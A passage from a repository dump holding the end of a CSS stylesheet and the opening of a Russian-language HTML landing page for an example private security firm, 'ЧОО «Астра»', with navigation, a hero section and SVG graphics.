  background: var(--red);\n}\n\n.section-title {\n    font-size: clamp(1.8rem, 4vw, 3rem);\n    font-weight: 900;\n    color: var(--white);\n    text-transform: uppercase;\n    letter-spacing: -0.01em;\n    line-height: 1.1;\n}\n\n.section-title span {\n    color: var(--red);\n}\n\n.section-desc {\n    max-width: 550px;\n    color: var(--text-dim);\n    font-size: 0.95rem;\n    line-height: 1.7;\n    margin-top: 1rem;\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ DIVIDER в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\n.divider {\n    height: 1px;\n    background: linear-gradient(90deg, transparent, var(--red), transparent);\n    opacity: 0.2;\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ SERVICES в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\nsection.services {\n    background: var(--bg2);\n}\n\n.services-header {\n    display: flex;\n    justify-content: space-between;\n    align-items: flex-end;\n    margin-bottom: 3.5rem;\n    flex-wrap: wrap;\n    gap: 1rem;\n}\n\n.services-grid {\n    display: grid;\n    grid-template-columns: repeat(auto-fill, minmax(340px, 1fr));\n    gap: 1.5px;\n    background: var(--line);\n    border: 1px solid var(--line);\n}\n\n.service-card {\n    background: var(--bg2);\n    padding: 2.5rem;\n    position: relative;\n    overflow: hidden;\n    transition: background 0.3s;\n}\n\n.service-card::before {\n    content: \"\";\n    position: absolute;\n    top: 0;\n    left: 0;\n    right: 0;\n    height: 2px;\n    background: var(--red);\n    transform: scaleX(0);\n    transform-origin: left;\n    transition: transform 0.4s ease;\n}\n\n.service-card:hover {\n    background: var(--bg3);\n}\n\n.service-card:hover::before {\n    transform: scaleX(1);\n}\n\n.service-num {\n    position: absolute;\n    top: 1.5rem;\n    right: 2rem;\n    font-size: 4rem;\n    font-weight: 900;\n    color: rgba(255, 255, 255, 0.03);\n    line-height: 1;\n    user-select: none;\n}\n\n.service-icon {\n    width: 52px;\n    height: 52px;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    background: rgba(229, 0, 0, 0.1);\n    border: 1px solid rgba(229, 0, 0, 0.2);\n    margin-bottom: 1.5rem;\n    transition:\n        background 0.3s,\n        border-color 0.3s;\n}\n\n.service-card:hover .service-icon {\n    background: rgba(229, 0, 0, 0.2);\n    border-color: rgba(229, 0, 0, 0.5);\n}\n\n.service-icon svg {\n    width: 26px;\n    height: 26px;\n    fill: var(--red);\n}\n\n.service-title {\n    font-size: 1.05rem;\n    font-weight: 800;\n    color: var(--white);\n    text-transform: uppercase;\n    letter-spacing: 0.05em;\n    margin-bottom: 0.75rem;\n}\n\n.service-desc {\n    font-size: 0.875rem;\n    color: var(--text-dim);\n    line-height: 1.65;\n}\n\n.service-tags {\n    display: flex;\n    flex-wrap: wrap;\n    gap: 6px;\n    margin-top: 1.25rem;\n}\n\n.service-tag {\n    padding: 3px 10px;\n    border: 1px solid rgba(229, 0, 0, 0.25);\n    font-size: 0.68rem;\n    letter-spacing: 0.1em;\n    text-transform: uppercase;\n    color: var(--red);\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ UNDERCOVER FEATURE в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\nsection.undercover {\n    background: var(--bg);\n}\n\n.uc-grid {\n    display: grid;\n    grid-template-columns: 1fr 1fr;\n    gap: 4rem;\n    align-items: center;\n}\n\n.uc-visual {\n    display: grid;\n    grid-template-columns: 1fr 1fr;\n    gap: 1rem;\n    align-content: start;\n}\n\n.uc-card {\n    background: var(--bg3);\n    border: 1px solid var(--line);\n    padding: 1.6rem;\n    /* FLIP-анимация: переходим только transform */\n    will-change: transform;\n    transition:\n        transform 0.75s cubic-bezier(0.4, 0, 0.2, 1),\n        border-color 0.3s;\n}\n.uc-card:hover {\n    border-color: rgba(229, 0, 0, 0.35);\n}\n\n.uc-card .uc-icon {\n    width: 44px;\n    height: 44px;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    background: rgba(229, 0, 0, 0.12);\n    border: 1px solid rgba(229, 0, 0, 0.3);\n    margin-bottom: 1rem;\n}\n\n.uc-card .uc-icon svg {\n    width: 22px;\n    height: 22px;\n    fill: var(--red);\n}\n\n.uc-card h4 {\n    font-size: 0.85rem;\n    font-weight: 800;\n    color: var(--white);\n    text-transform: uppercase;\n    letter-spacing: 0.06em;\n    margin-bottom: 0.4rem;\n}\n\n.uc-card p {\n    font-size: 0.78rem;\n    color: var(--text-dim);\n    line-height: 1.55;\n}\n\n.uc-content .tags {\n    display: flex;\n    flex-wrap: wrap;\n    gap: 8px;\n    margin-top: 2rem;\n}\n\n.uc-content .tag {\n    padding: 5px 14px;\n    background: rgba(229, 0, 0, 0.08);\n    border: 1px solid rgba(229, 0, 0, 0.2);\n    font-size: 0.72rem;\n    letter-spacing: 0.1em;\n    text-transform: uppercase;\n    color: var(--red);\n}\n\n/* ADVANTAGES */\nsection.advantages {\n    background: var(--bg2);\n}\n\n.adv-header {\n    display: grid;\n    grid-template-columns: 1fr 1fr;\n    gap: 4rem;\n    align-items: end;\n}\n\n.adv-header .section-title {\n    margin-top: 0.5rem;\n}\n\n.adv-intro {\n    font-size: 0.9rem;\n    color: var(--text-dim);\n    line-height: 1.7;\n    max-width: 48ch;\n    padding-bottom: 0.4rem;\n}\n\n.adv-list {\n    display: flex;\n    flex-direction: column;\n    margin-top: 2.5rem;\n    border-top: 1px solid var(--line);\n}\n\n.adv-row {\n    display: grid;\n    grid-template-columns: 4.5rem 3.5rem 1fr auto;\n    align-items: center;\n    gap: 2rem;\n    padding: 1.8rem 1.2rem;\n    border-bottom: 1px solid var(--line);\n    position: relative;\n    cursor: default;\n    transition:\n        background 0.25s,\n        padding-left 0.25s;\n    overflow: hidden;\n}\n\n.adv-row::before {\n    content: \"\";\n    position: absolute;\n    inset: 0 auto 0 0;\n    width: 3px;\n    background: var(--red);\n    transform: scaleY(0);\n    transform-origin: top center;\n    transition: transform 0.3s cubic-bezier(0.4, 0, 0.2, 1);\n}\n\n.adv-row:hover {\n    background: rgba(229, 0, 0, 0.03);\n    padding-left: 1.8rem;\n}\n\n.adv-row:hover::before {\n    transform: scaleY(1);\n}\n\n.adv-num {\n    font-size: 2.2rem;\n    font-weight: 900;\n    color: rgba(229, 0, 0, 0.13);\n    line-height: 1;\n    letter-spacing: -0.02em;\n    font-variant-numeric: tabular-nums;\n    transition: color 0.3s;\n    user-select: none;\n}\n\n.adv-row:hover .adv-num {\n    color: var(--red);\n}\n\n.adv-icon {\n    width: 44px;\n    height: 44px;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    background: rgba(229, 0, 0, 0.08);\n    border: 1px solid rgba(229, 0, 0, 0.18);\n    flex-shrink: 0;\n    transition:\n        background 0.3s,\n        border-color 0.3s;\n}\n\n.adv-row:hover .adv-icon {\n    background: rgba(229, 0, 0, 0.15);\n    border-color: rgba(229, 0, 0, 0.35);\n}\n\n.adv-icon svg {\n    width: 20px;\n    height: 20px;\n    fill: var(--red);\n}\n\n.adv-body {\n    display: flex;\n    flex-direction: column;\n    gap: 0.3rem;\n}\n\n.adv-body h4 {\n    font-size: 0.92rem;\n    font-weight: 800;\n    color: var(--white);\n    text-transform: uppercase;\n    letter-spacing: 0.06em;\n    margin: 0;\n}\n\n.adv-body p {\n    font-size: 0.81rem;\n    color: var(--text-dim);\n    line-height: 1.6;\n    margin: 0;\n    max-width: 58ch;\n}\n\n.adv-tag {\n    font-size: 0.7rem;\n    font-weight: 700;\n    letter-spacing: 0.1em;\n    text-transform: uppercase;\n    color: rgba(229, 0, 0, 0.5);\n    border: 1px solid rgba(229, 0, 0, 0.2);\n    padding: 0.3rem 0.7rem;\n    white-space: nowrap;\n    transition:\n        color 0.3s,\n        border-color 0.3s;\n}\n\n.adv-row:hover .adv-tag {\n    color: var(--red);\n    border-color: rgba(229, 0, 0, 0.5);\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ PRICING в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\nsection.pricing {\n    background: var(--bg);\n}\n\n.pricing-grid {\n    display: grid;\n    grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));\n    gap: 1.5px;\n    background: var(--line);\n    border: 1px solid var(--line);\n    margin-top: 3rem;\n}\n\n.price-card {\n    background: var(--bg);\n    padding: 2.5rem;\n    position: relative;\n    transition: background 0.3s;\n}\n\n.price-card.featured {\n    background: var(--bg3);\n    outline: 1px solid var(--red);\n    outline-offset: -1px;\n}\n\n.price-card:hover:not(.featured) {\n    background: var(--bg3);\n}\n\n.price-badge {\n    display: inline-block;\n    padding: 3px 10px;\n    background: var(--red);\n    font-size: 0.65rem;\n    font-weight: 700;\n    letter-spacing: 0.12em;\n    text-transform: uppercase;\n    color: #fff;\n    margin-bottom: 1.2rem;\n}\n\n.price-name {\n    font-size: 0.9rem;\n    font-weight: 800;\n    color: var(--white);\n    text-transform: uppercase;\n    letter-spacing: 0.08em;\n    margin-bottom: 0.5rem;\n}\n\n.price-desc {\n    font-size: 0.8rem;\n    color: var(--text-dim);\n    line-height: 1.55;\n    margin-bottom: 1.5rem;\n}\n\n.price-amount {\n    font-size: 2rem;\n    font-weight: 900;\n    color: var(--red);\n    line-height: 1;\n}\n\n.price-amount span {\n    font-size: 0.85rem;\n    color: var(--text-dim);\n    font-weight: 400;\n}\n\n.price-features {\n    list-style: none;\n    margin-top: 1.5rem;\n}\n\n.price-features li {\n    display: flex;\n    align-items: flex-start;\n    gap: 10px;\n    font-size: 0.82rem;\n    color: var(--text);\n    padding: 0.5rem 0;\n    border-bottom: 1px solid var(--line);\n}\n\n.price-features li::before {\n    content: \"\";\n    flex-shrink: 0;\n    margin-top: 5px;\n    width: 6px;\n    height: 6px;\n    border: 1px solid var(--red);\n    transform: rotate(45deg);\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ TEAM / CRED в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\nsection.creds {\n    background: var(--bg2);\n}\n\n.creds-grid {\n    display: grid;\n    grid-template-columns: repeat(3, 1fr);\n    gap: 2rem;\n    margin-top: 3rem;\n}\n\n.cred-item {\n    padding: 2rem;\n    border: 1px solid var(--line);\n    background: var(--bg3);\n    display: flex;\n    align-items: flex-start;\n    gap: 1.2rem;\n    transition: border-color 0.3s;\n}\n\n.cred-item:hover {\n    border-color: rgba(229, 0, 0, 0.3);\n}\n\n.cred-icon {\n    flex-shrink: 0;\n    width: 44px;\n    height: 44px;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    background: rgba(229, 0, 0, 0.1);\n    border: 1px solid rgba(229, 0, 0, 0.2);\n}\n\n.cred-icon svg {\n    width: 22px;\n    height: 22px;\n    fill: var(--red);\n}\n\n.cred-item h4 {\n    font-size: 0.85rem;\n    font-weight: 800;\n    color: var(--white);\n    text-transform: uppercase;\n    letter-spacing: 0.06em;\n    margin-bottom: 0.35rem;\n}\n\n.cred-item p {\n    font-size: 0.8rem;\n    color: var(--text-dim);\n    line-height: 1.6;\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ CONTACT в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\nsection.contact {\n    background: var(--bg);\n}\n\n.contact-grid {\n    display: grid;\n    grid-template-columns: 1fr 1.4fr;\n    gap: 4rem;\n    align-items: start;\n}\n\n.contact-info {\n    margin-top: 2.5rem;\n}\n\n.contact-row {\n    display: flex;\n    align-items: flex-start;\n    gap: 1rem;\n    margin-bottom: 1.8rem;\n}\n\n.contact-row .ci {\n    flex-shrink: 0;\n    width: 40px;\n    height: 40px;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    background: rgba(229, 0, 0, 0.1);\n    border: 1px solid rgba(229, 0, 0, 0.25);\n}\n\n.contact-row .ci svg {\n    width: 18px;\n    height: 18px;\n    fill: var(--red);\n}\n\n.contact-row .ct h5 {\n    font-size: 0.7rem;\n    letter-spacing: 0.15em;\n    text-transform: uppercase;\n    color: var(--text-dim);\n    margin-bottom: 4px;\n}\n\n.contact-row .ct p {\n    font-size: 0.9rem;\n    color: var(--white);\n}\n\n.contact-form {\n    background: var(--bg3);\n    border: 1px solid var(--line);\n    padding: 2.5rem;\n}\n\n.form-title {\n    font-size: 1rem;\n    font-weight: 800;\n    color: var(--white);\n    text-transform: uppercase;\n    letter-spacing: 0.08em;\n    margin-bottom: 2rem;\n    display: flex;\n    align-items: center;\n    gap: 10px;\n}\n\n.form-title::before {\n    content: \"\";\n    width: 20px;\n    height: 2px;\n    background: var(--red);\n}\n\n.form-row {\n    display: grid;\n    grid-template-columns: 1fr 1fr;\n    gap: 1rem;\n}\n\n.form-group {\n    margin-bottom: 1rem;\n}\n\n.form-group label {\n    display: block;\n    font-size: 0.72rem;\n    letter-spacing: 0.12em;\n    text-transform: uppercase;\n    color: var(--text-dim);\n    margin-bottom: 6px;\n}\n\n.form-group input,\n.form-group select,\n.form-group textarea {\n    width: 100%;\n    background: var(--bg4);\n    border: 1px solid rgba(255, 255, 255, 0.08);\n    color: var(--white);\n    font-family: var(--font);\n    font-size: 0.88rem;\n    padding: 12px 14px;\n    outline: none;\n    transition: border-color 0.2s;\n    cursor: none;\n}\n\n.form-group input:focus,\n.form-group select:focus,\n.form-group textarea:focus {\n    border-color: rgba(229, 0, 0, 0.5);\n}\n\n.form-group textarea {\n    resize: vertical;\n    min-height: 100px;\n}\n\n.form-group select option {\n    background: var(--bg4);\n}\n\n.form-submit {\n    width: 100%;\n    padding: 15px;\n    background: var(--red);\n    color: #fff;\n    font-family: var(--font);\n    font-size: 0.85rem;\n    font-weight: 700;\n    letter-spacing: 0.15em;\n    text-transform: uppercase;\n    border: none;\n    cursor: none;\n    transition:\n        filter 0.2s,\n        transform 0.2s;\n    margin-top: 0.5rem;\n}\n\n.form-submit:hover {\n    filter: brightness(1.15) drop-shadow(0 0 12px var(--red-glow));\n    transform: translateY(-2px);\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ FOOTER в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\nfooter {\n    background: var(--bg);\n    border-top: 1px solid var(--line);\n    padding: 3rem 5vw;\n}\n\n.footer-grid {\n    max-width: 1200px;\n    margin: 0 auto;\n    display: grid;\n    grid-template-columns: 2fr 1fr 1fr 1fr;\n    gap: 3rem;\n}\n\n.footer-brand .nav-logo {\n    margin-bottom: 1rem;\n}\n\n.footer-brand p {\n    font-size: 0.82rem;\n    color: var(--text-dim);\n    line-height: 1.7;\n    max-width: 280px;\n}\n\n.footer-col h5 {\n    font-size: 0.72rem;\n    font-weight: 700;\n    letter-spacing: 0.15em;\n    text-transform: uppercase;\n    color: var(--white);\n    margin-bottom: 1.2rem;\n    padding-bottom: 0.6rem;\n    border-bottom: 1px solid var(--line);\n}\n\n.footer-col ul {\n    list-style: none;\n}\n\n.footer-col li {\n    margin-bottom: 0.6rem;\n}\n\n.footer-col a {\n    font-size: 0.82rem;\n    color: var(--text-dim);\n    transition: color 0.2s;\n}\n\n.footer-col a:hover {\n    color: var(--red);\n}\n\n.footer-bottom {\n    max-width: 1200px;\n    margin: 2rem auto 0;\n    padding-top: 1.5rem;\n    border-top: 1px solid var(--line);\n    display: flex;\n    justify-content: space-between;\n    align-items: center;\n    flex-wrap: wrap;\n    gap: 1rem;\n    font-size: 0.75rem;\n    color: var(--text-dim);\n}\n\n.footer-bottom .license {\n    display: flex;\n    align-items: center;\n    gap: 6px;\n}\n\n.footer-bottom .license::before {\n    content: \"\";\n    width: 6px;\n    height: 6px;\n    background: var(--red);\n    border-radius: 50%;\n    animation: blink 2s ease infinite;\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ PARALLAX LINES в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\n.bg-lines {\n    position: absolute;\n    inset: 0;\n    pointer-events: none;\n    z-index: 0;\n    overflow: hidden;\n}\n\n.bg-lines::before,\n.bg-lines::after {\n    content: \"\";\n    position: absolute;\n    width: 1px;\n    top: 0;\n    bottom: 0;\n    background: linear-gradient(180deg, transparent, rgba(229, 0, 0, 0.12), transparent);\n}\n\n.bg-lines::before {\n    left: 15%;\n}\n\n.bg-lines::after {\n    right: 15%;\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ REVEAL ANIMATIONS в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\n.reveal {\n    opacity: 0;\n    transform: translateY(30px);\n    transition:\n        opacity 0.7s ease,\n        transform 0.7s ease;\n}\n\n.reveal.visible {\n    opacity: 1;\n    transform: translateY(0);\n}\n\n.reveal-l {\n    opacity: 0;\n    transform: translateX(-30px);\n    transition:\n        opacity 0.7s ease,\n        transform 0.7s ease;\n}\n\n.reveal-l.visible {\n    opacity: 1;\n    transform: translateX(0);\n}\n\n.reveal-r {\n    opacity: 0;\n    transform: translateX(30px);\n    transition:\n        opacity 0.7s ease,\n        transform 0.7s ease;\n}\n\n.reveal-r.visible {\n    opacity: 1;\n    transform: translateX(0);\n}\n\n.delay-1 {\n    transition-delay: 0.1s !important;\n}\n\n.delay-2 {\n    transition-delay: 0.2s !important;\n}\n\n.delay-3 {\n    transition-delay: 0.3s !important;\n}\n\n.delay-4 {\n    transition-delay: 0.4s !important;\n}\n\n.delay-5 {\n    transition-delay: 0.5s !important;\n}\n\n.delay-6 {\n    transition-delay: 0.6s !important;\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ KEYFRAMES в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\n@keyframes fadeDown {\n    from {\n        opacity: 0;\n        transform: translateY(-20px);\n    }\n\n    to {\n        opacity: 1;\n        transform: translateY(0);\n    }\n}\n\n@keyframes fadeUp {\n    from {\n        opacity: 0;\n        transform: translateY(20px);\n    }\n\n    to {\n        opacity: 1;\n        transform: translateY(0);\n    }\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ TICKER в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\n.ticker-wrap {\n    background: var(--red);\n    overflow: hidden;\n    white-space: nowrap;\n    padding: 10px 0;\n}\n\n.ticker-track {\n    display: inline-flex;\n    animation: ticker 30s linear infinite;\n}\n\n.ticker-item {\n    padding: 0 2.5rem;\n    font-size: 0.72rem;\n    font-weight: 700;\n    letter-spacing: 0.15em;\n    text-transform: uppercase;\n    color: rgba(255, 255, 255, 0.9);\n}\n\n.ticker-sep {\n    color: rgba(255, 255, 255, 0.4);\n    padding: 0 0.5rem;\n}\n\n@keyframes ticker {\n    from {\n        transform: translateX(0);\n    }\n\n    to {\n        transform: translateX(-50%);\n    }\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ MOBILE в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\n@media (max-width: 1024px) {\n    .hero-inner {\n        padding: 80px 4vw 1rem 5vw;\n        gap: 2rem;\n    }\n    .hero-target-wrap {\n        width: min(34vw, 320px);\n    }\n    .adv-header {\n        grid-template-columns: 1fr;\n        gap: 1rem;\n    }\n    .adv-row {\n        grid-template-columns: 3rem 3rem 1fr auto;\n        gap: 1.2rem;\n    }\n\n    .creds-grid {\n        grid-template-columns: repeat(2, minmax(0, 1fr));\n    }\n\n    .footer-grid {\n        grid-template-columns: 1fr 1fr;\n    }\n}\n\n@media (max-width: 768px) {\n    .nav-links {\n        display: none;\n    }\n\n    .nav-links.open {\n        display: flex;\n        flex-direction: column;\n        position: absolute;\n        top: 70px;\n        left: 0;\n        right: 0;\n        z-index: 1001;\n        background: rgba(8, 8, 8, 0.97);\n        backdrop-filter: blur(18px);\n        border-top: 1px solid var(--line);\n        border-bottom: 1px solid var(--line);\n        padding: 1.5rem 5vw;\n        gap: 1rem;\n        animation: navSlideDown 0.28s ease forwards;\n    }\n\n    @keyframes navSlideDown {\n        from {\n            opacity: 0;\n            transform: translateY(-10px);\n        }\n        to {\n            opacity: 1;\n            transform: translateY(0);\n        }\n    }\n\n    /* Бургер: анимация в X при открытии */\n    .burger.open span:nth-child(1) {\n        transform: translateY(7px) rotate(45deg);\n    }\n    .burger.open span:nth-child(2) {\n        opacity: 0;\n        transform: scaleX(0);\n    }\n    .burger.open span:nth-child(3) {\n        transform: translateY(-7px) rotate(-45deg);\n    }\n\n    .burger {\n        display: flex;\n    }\n\n    .hero-inner {\n        grid-template-columns: 1fr;\n        padding: 80px 5vw 1rem;\n        gap: 2rem;\n    }\n    .hero-right {\n        display: none;\n    }\n    .hero-stats-bar {\n        grid-template-columns: repeat(2, 1fr);\n    }\n\n    .uc-grid,\n    .contact-grid {\n        grid-template-columns: 1fr;\n    }\n\n    .uc-visual {\n        display: none;\n    }\n\n    .adv-row {\n        grid-template-columns: 2.5rem 2.8rem 1fr;\n        gap: 1rem;\n    }\n    .adv-tag {\n        display: none;\n    }\n\n    .creds-grid {\n        grid-template-columns: 1fr;\n    }\n\n    .footer-grid {\n        grid-template-columns: 1fr;\n    }\n\n    .form-row {\n        grid-template-columns: 1fr;\n    }\n}\n\n/* Отключаем кастомный курсор на тач-устройствах */\n@media (pointer: coarse) {\n    body {\n        cursor: auto;\n    }\n    *,\n    *::before,\n    *::after {\n        cursor: auto !important;\n    }\n    #cursor {\n        display: none !important;\n    }\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/works/example-astra/index.html",
    "content": "﻿<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <title>ЗАО ЧОО «АСТРА» — Ваша безопасность за горизонтом событий</title>\n    <link rel=\"stylesheet\" href=\"css/style.css\" />\n</head>\n\n<body>\n\n    <!-- CURSOR -->\n    <div id=\"cursor\">\n        <svg viewBox=\"0 0 40 40\" xmlns=\"http://www.w3.org/2000/svg\">\n            <circle cx=\"20\" cy=\"20\" r=\"14\" fill=\"none\" stroke=\"#e50000\" stroke-width=\"1.2\" />\n            <line x1=\"20\" y1=\"2\" x2=\"20\" y2=\"12\" stroke=\"#e50000\" stroke-width=\"1.2\" stroke-linecap=\"round\" />\n            <line x1=\"20\" y1=\"28\" x2=\"20\" y2=\"38\" stroke=\"#e50000\" stroke-width=\"1.2\" stroke-linecap=\"round\" />\n            <line x1=\"2\" y1=\"20\" x2=\"12\" y2=\"20\" stroke=\"#e50000\" stroke-width=\"1.2\" stroke-linecap=\"round\" />\n            <line x1=\"28\" y1=\"20\" x2=\"38\" y2=\"20\" stroke=\"#e50000\" stroke-width=\"1.2\" stroke-linecap=\"round\" />\n        </svg>\n    </div>\n\n    <!-- NAV -->\n    <nav id=\"navbar\">\n        <a href=\"#\" class=\"nav-logo\">\n            <!-- Star/Shield logo -->\n            <svg class=\"logo-icon\" viewBox=\"0 0 40 40\" xmlns=\"http://www.w3.org/2000/svg\">\n                <path d=\"M20 2L24.5 13.5H37L27 21.5L31 33L20 25.5L9 33L13 21.5L3 13.5H15.5L20 2Z\" />\n            </svg>\n            <span>ЧОО <em>«Астра»</em></span>\n        </a>\n        <ul class=\"nav-links\" id=\"navLinks\">\n            <li><a href=\"#services\">Услуги</a></li>\n            <li><a href=\"#undercover\">Прикрытие</a></li>\n            <li><a href=\"#advantages\">О нас</a></li>\n            <li><a href=\"#pricing\">Тарифы</a></li>\n            <li><a href=\"#contact\" class=\"nav-cta\">Связаться</a></li>\n        </ul>\n        <button class=\"burger\" id=\"burger\" aria-label=\"Меню\">\n            <span></span><span></span><span></span>\n        </button>\n    </nav>\n\n    <!-- HERO -->\n    <section class=\"hero\" id=\"hero\">\n        <div class=\"hero-bg\"></div>\n        <div class=\"hero-grid\"></div>\n        <div class=\"hero-scan\"></div>\n\n        <!-- SPLIT: left text + right visual -->\n        <div class=\"hero-inner\">\n            <!-- LEFT -->\n            <div class=\"hero-left\">\n                <div class=\"hero-badge\">ЗАО ЧОО · Лицензированная охранная деятельность</div>\n                <h1 class=\"hero-title\">\n                    Ваша<br />\n                    <span class=\"red\">безопасность</span><br />\n                    в надёжных руках\n                </h1>\n                <div class=\"hero-accent-line\"></div>\n                <p class=\"hero-sub\">Комплексная защита · Скрытая охрана<br />Разведка · Эскорт объектов любой сложности</p>\n                <div class=\"hero-actions\">\n                    <a href=\"#contact\" class=\"btn-primary\">Получить защиту</a>\n                    <a href=\"#services\" class=\"btn-outline\">Наши услуги</a>\n                </div>\n            </div>\n\n            <!-- RIGHT: tactical target -->\n            <div class=\"hero-right\">\n                <div class=\"hero-target-wrap\">\n                    <!-- Corner brackets -->\n                    <div class=\"hero-corner tl\"></div>\n                    <div class=\"hero-corner tr\"></div>\n                    <div class=\"hero-corner bl\"></div>\n                    <div class=\"hero-corner br\"></div>\n\n                    <svg class=\"target-svg\" viewBox=\"0 0 300 300\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <!-- Pulse rings 